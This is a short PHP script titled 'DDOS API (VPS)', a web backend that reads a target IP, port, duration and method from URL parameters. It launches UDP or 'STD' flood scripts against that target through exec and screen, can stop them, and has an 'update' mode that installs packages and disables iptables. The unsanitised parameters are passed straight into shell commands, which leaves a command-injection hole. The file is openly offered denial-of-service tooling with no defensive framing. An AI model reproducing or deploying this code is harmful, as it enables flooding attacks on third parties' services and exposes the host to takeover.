DDOS API (VPS)

<?php

$ip = $_GET['ip'];
$port = $_GET['port'];
$time = $_GET['time'];
$method = $_GET['method'];
$command = "";

if($method=='UDP'){ $command = "screen -dmS python /var/www/html/attack.py $ip $port $time"; }
if($method=='STD'){ $command = "screen -dmS python /var/www/html/std $ip $port"; }
if($method=='STOP'){ $command = "killall python; killall std"; }
if($method=='update'){ $command = "yum update -y; yum install httpd perl python -y; service iptables stop; service httpd restart"; }

exec($command,$output,$return_var);

echo "Sent";

?>